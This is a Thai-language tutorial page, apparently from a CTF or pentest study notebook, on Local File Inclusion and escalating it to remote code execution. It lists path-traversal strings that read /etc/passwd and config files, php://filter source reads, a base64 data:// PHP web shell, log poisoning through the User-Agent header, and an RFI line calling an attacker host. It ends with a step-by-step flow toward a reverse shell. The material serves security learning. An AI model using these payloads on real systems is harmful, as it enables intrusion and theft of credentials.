คลัง
web

Local File Inclusion (LFI)

LFI เกิดเมื่อแอปนำ input ผู้ใช้ไปใช้เป็น path ของไฟล์ที่จะ include/อ่าน โดยไม่กรอง ทำให้ผู้โจมตีอ่านไฟล์ในเซิร์ฟเวอร์ และในหลายกรณียกระดับเป็น RCE ผ่าน PHP wrapper หรือ log poisoning บทนี้เน้นการตรวจจับและยกระดับ

IntermediateAdvanced#lfi#file-inclusion#php-wrapper#log-poisoning#rce#web#ctf

1. หลักการ

เมื่อแอปเอา input ไปประกอบ path เช่น include("pages/" . $_GET['page']) ผู้โจมตีใส่ path traversal (../) เพื่อหลุดออกจากโฟลเดอร์ที่ตั้งใจ ไปอ่านไฟล์อื่นในระบบ เช่น /etc/passwd หรือไฟล์ config ที่มี credential

LFI — หลุด path ด้วย ../
page=../../../etc/passwd include(path) /etc/passwd

2. ตรวจจับ

  • พารามิเตอร์ที่ดูเหมือนชื่อไฟล์/หน้า: page=, file=, lang=, template=, include=, path=
  • ลอง ../ หลายชั้นเพื่ออ่านไฟล์ที่รู้ว่ามีแน่ เช่น /etc/passwd (Linux) หรือ C:\Windows\win.ini (Windows)
  • ถ้า traversal ถูกกรอง ลอง encoding หรือ wrapper (ดูหัวข้อถัดไป)
ทดสอบพื้นฐาน
?page=../../../../etc/passwd
?page=../../../../etc/passwd%00     (null byte — PHP เก่า)
?page=....//....//etc/passwd        (bypass การกรอง ../ แบบ replace ครั้งเดียว)
?page=%2e%2e%2f%2e%2e%2fetc/passwd  (URL encode)

3. PHP wrappers — อ่าน source และยกระดับ

อ่าน source code (php://filter)
?page=php://filter/convert.base64-encode/resource=index.php
# ได้ source เป็น base64 → decode อ่าน logic/credential
?page=php://filter/read=string.rot13/resource=config.php
base64-encode กันไม่ให้ PHP รันโค้ดในไฟล์ตอนอ่าน .php — ได้ source ดิบมาวิเคราะห์
RCE ผ่าน data:// และ expect://
# data:// (ถ้า allow_url_include=On)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id
# expect:// (ถ้า extension เปิด)
?page=expect://id
base64 ข้างบนคือ <?php system($_GET['c']);?> — ใช้กับ lab/CTF ที่ได้รับอนุญาตเท่านั้น

4. LFI → RCE ผ่าน log poisoning

ถ้า include ไฟล์ที่เรา 'แทรกเนื้อหา' เข้าไปได้ จะรันโค้ดได้ เทคนิคคลาสสิก: ใส่โค้ด PHP ลงใน log (เช่น User-Agent ที่ถูกบันทึกใน access log) แล้ว include ไฟล์ log นั้น

  1. 1ส่ง request โดยตั้ง User-Agent เป็น <?php system($_GET['c']);?>
  2. 2เซิร์ฟเวอร์บันทึกลง access log (เช่น /var/log/apache2/access.log)
  3. 3include log ผ่าน LFI: ?page=/var/log/apache2/access.log&c=id
  4. 4โค้ดใน log ถูกรัน → RCE
แหล่ง poison อื่น: /proc/self/environ, mail log, session file (/var/lib/php/sessions/sess_*), หรือไฟล์ที่อัปโหลดได้ — มองหาไฟล์ที่ 'เราควบคุมเนื้อหา + include ได้'

5. Quick Reference

  • param เสี่ยง: page/file/lang/template/include/path
  • อ่านไฟล์: ../../../etc/passwd (+ encode/null byte ถ้าถูกกรอง)
  • อ่าน source: php://filter/convert.base64-encode/resource=ไฟล์
  • RCE: data:// , expect:// , log poisoning, session file
  • RFI (ถ้า allow_url_include=On): ?page=http://attacker/shell.txt
  • ป้องกัน: allowlist ชื่อไฟล์, basename(), ปิด allow_url_include

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ parameter ที่ include/read ไฟล์ (page=, file=, template=, lang=) ทำตามนี้ทดสอบ LFI ทีละขั้น

  1. 1ทดสอบพื้นฐาน: เปลี่ยนค่าเป็น ../../../../etc/passwd ดูว่าเนื้อไฟล์โผล่ในหน้าเว็บไหม
  2. 2ถ้าไม่โผล่ (อาจมี filter ตัด ../ หรือบังคับ prefix/suffix) ลอง path traversal encode: ..%2f..%2f, ....//....//, หรือใช้ absolute path ตรงๆ /etc/passwd
  3. 3ถ้ามี suffix ถูกบังคับต่อท้าย (เช่น .php) ลอง null byte (บาง PHP version เก่า) หรือ path truncation ยาวๆ ../ ซ้ำจนตัด suffix ทิ้ง
  4. 4ยืนยันแล้วว่าอ่านไฟล์ได้ ลองไล่อ่านไฟล์ที่มีประโยชน์: /etc/passwd, /proc/self/environ, ไฟล์ config ของแอป (.env, config.php), log ของ web server
  5. 5ถ้าเป้าหมายเป็น PHP ลองใช้ php://filter/convert.base64-encode/resource=config.php เพื่ออ่าน source code แล้ว decode ด้วย CyberChef
  6. 6ถ้าอยากยกระดับเป็น RCE ลอง log poisoning: inject PHP code เข้า User-Agent แล้ว include /var/log/apache2/access.log กลับมารัน
  7. 7เช็คว่าเปิด /proc/self/environ ได้ไหม (บาง config เปิดให้ inject ผ่าน User-Agent แล้ว include กลับมารันเป็น PHP code)
  8. 8ถ้าแอปมี upload feature (แม้จำกัด extension) ลอง upload ไฟล์ที่มี payload แล้ว include path นั้นผ่าน LFI (แทน log poisoning)
  9. 9ยิง reverse shell เมื่อ RCE สำเร็จ
Master flow — ยืนยันและยกระดับ LFI เป็น RCE
เปลี่ยนค่าพารามิเตอร์เป็น ../../../../etc/passwd แล้วส่ง
เนื้อ /etc/passwd โผล่ในหน้าเว็บไหม?
✅ โผล่ตรงๆ→ ไล่อ่านไฟล์อื่นต่อได้เลย
❌ ไม่โผล่/error→ ต้อง bypass filter ก่อน
ลอง bypass filter: encode (..%2f), ....//....//, absolute path, หรือ null byte/path truncation ถ้ามี suffix ถูกบังคับ
bypass แล้วอ่านไฟล์ได้ไหม?
✅ อ่านได้→ ไล่อ่านไฟล์สำคัญต่อ
❌ ยังอ่านไม่ได้เลย→ ต้องดู path traversal เพิ่ม
อ่านไฟล์ได้แล้ว → ไล่อ่านไฟล์สำคัญ: /etc/passwd, /proc/self/environ, .env, config ของแอป
ถ้าเป็น PHP ลอง php://filter/convert.base64-encode/resource=config.php อ่าน source code แล้ว decode ด้วย CyberChef
อยากยกระดับเป็น RCE ไหม (มีช่องทาง log/upload ให้ inject)?
✅ มีช่องทาง (log accessible/upload)→ ลอง log poisoning หรือ upload
❌ ไม่มีช่องทางเลย→ เก็บข้อมูลที่อ่านได้ใช้ต่อ
ลอง log poisoning: inject <?php system($_GET['c']); ?> ผ่าน User-Agent แล้ว include /var/log/apache2/access.log?c=id
อ่านไฟล์ได้แต่ยกระดับ RCE ไม่ได้เลย → เก็บข้อมูลที่อ่านได้ (credential/config) ไปลองช่องทางอื่นแทน (auth bypass, SSH key)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ทดสอบ payload มือBurp Repeater / curlalready in Kali-
fuzz หา parameter/ตำแหน่ง LFIffuf / wfuzzalready in Kali-
encode/decode path & base64--CyberChef
โจมตี LFI ให้ครอบคลุมอัตโนมัติkadimusgit clone kadimus-
log poisoning inject payloadcurl -Aalready in Kali-
สร้าง reverse shell payloadncalready in Kalirevshells.com
เรียนรู้ LFI wordlist/เทคนิคSecLists (มากับ Kali)-portswigger / hacktricks
🚑 ถ้าตันสนิท ลองท่าถัดไป: path-traversal ถ้ายังอ่านไฟล์ไม่ได้เลยแม้ bypass หลายแบบ, file-upload ถ้ามีช่องอัปโหลดไฟล์ ใช้แทน log poisoning ได้, rfi ถ้าแอปดันโหลดไฟล์จาก URL ภายนอกได้ ลอง RFI แทน local file, command-injection เมื่อยกระดับ RCE สำเร็จแล้วอยากรันคำสั่งต่อ

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้